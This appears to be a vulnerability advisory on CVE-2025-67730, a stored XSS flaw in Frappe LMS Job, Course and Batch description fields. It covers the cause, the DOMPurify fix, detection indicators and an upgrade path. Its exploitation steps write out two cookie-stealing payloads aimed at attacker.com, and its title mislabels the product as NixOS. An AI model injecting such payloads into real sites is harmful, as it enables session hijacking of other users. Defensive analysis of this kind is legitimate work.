CVE-2025-67730: 
NixOS vulnerability analysis and mitigation

CVE-2025-67730 is a stored Cross-Site Scripting (XSS) vulnerability in Frappe Learning Management System (LMS) that allows authenticated users to inject malicious HTML and JavaScript through description fields in Job, Course, and Batch forms. The injected scripts are then executed in the browsers of other users who view the affected content. It affects Frappe LMS versions 2.0.0 through 2.41.x (all versions prior to 2.42.0). The vulnerability was published on December 12, 2025, and carries a CVSS v3.1 base score of 5.4 (Medium) (GitHub Advisory, Feedly).

The root cause is improper neutralization of user-supplied input during web page generation (CWE-79 — Stored XSS). Description fields in the Job, Course, and Batch forms accepted arbitrary HTML and JavaScript without sanitization before storing and rendering the content. The fix, applied in commit 0877e32, introduced a centralized sanitizeHTML() utility function using DOMPurify with an allowlist of safe tags (b, i, em, strong, a, p, br, ul, ol, li, img) and attributes (href, target, src), and applied it consistently across BatchForm.vue, CourseForm.vue, JobForm.vue, AssignmentForm.vue, and EditProfile.vue (GitHub Commit, GitHub Advisory). Exploitation requires low-privilege authenticated access and passive user interaction from a victim viewing the malicious content.

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of other users who view the poisoned Job, Course, or Batch pages. This can result in session token theft, account hijacking, content defacement, and redirection of victims to malicious websites. Both confidentiality and integrity are impacted at a low level; availability is not affected (GitHub Advisory, Feedly).

No public proof-of-concept exploit was available at the time of disclosure, though a GitHub repository (https://github.com/Dharan10/CVE-2025-67730) attributed to the reporter Dharan Raghunathan appeared shortly after disclosure. There is no evidence of in-the-wild exploitation or CISA KEV catalog inclusion. The EPSS score is approximately 0.047% (very low probability of exploitation in the near term) (Feedly, GitHub Advisory).

1. Authenticate: Log in to a Frappe LMS instance (versions 2.0.0–2.41.x) with any low-privilege user account that has permission to create or edit Job, Course, or Batch entries.
2. Identify vulnerable fields: Navigate to a Job, Course, or Batch form and locate the description field, which accepts rich HTML input.
3. Inject malicious payload: Enter a crafted XSS payload into the description field, such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an image-based payload like <img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>.
4. Save the form: Submit the form, causing the malicious payload to be stored in the LMS database without sanitization.
5. Trigger execution: When any other user (including administrators) opens the affected Job listing, Course page, or Batch view, the injected script executes in their browser, potentially exfiltrating session cookies or performing actions on their behalf (GitHub Advisory, GitHub Commit).

• Logs: Web server or application logs showing POST requests to Job, Course, or Batch form endpoints containing HTML tags or JavaScript keywords (e.g., <script>, onerror=, javascript:) in description field parameters.
• Database: Description fields in the LMS database containing raw <script> tags, event handler attributes (onerror, onload, onclick), or encoded JavaScript payloads.
• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after viewing Job, Course, or Batch pages — potentially carrying cookie or session data as query parameters.
• Browser: Unexpected redirects or pop-ups experienced by users when viewing LMS content pages (GitHub Advisory).

Upgrade Frappe LMS to version 2.42.0 or later, which applies HTML sanitization via DOMPurify to all affected description fields (GitHub Advisory, GitHub Commit). As interim mitigations, restrict the ability to create or edit Job, Course, and Batch forms to trusted users only, and implement a Content Security Policy (CSP) header to limit script execution sources. Regularly audit user-generated content in description fields for suspicious HTML or script tags.

The vulnerability was reported by security researcher Dharan Raghunathan, who subsequently published a dedicated GitHub repository for the CVE. A Bluesky post from the undercode.bsky.social account referenced the vulnerability, indicating minor community awareness. No major vendor statements beyond the Frappe security advisory or significant media coverage have been observed (Feedly).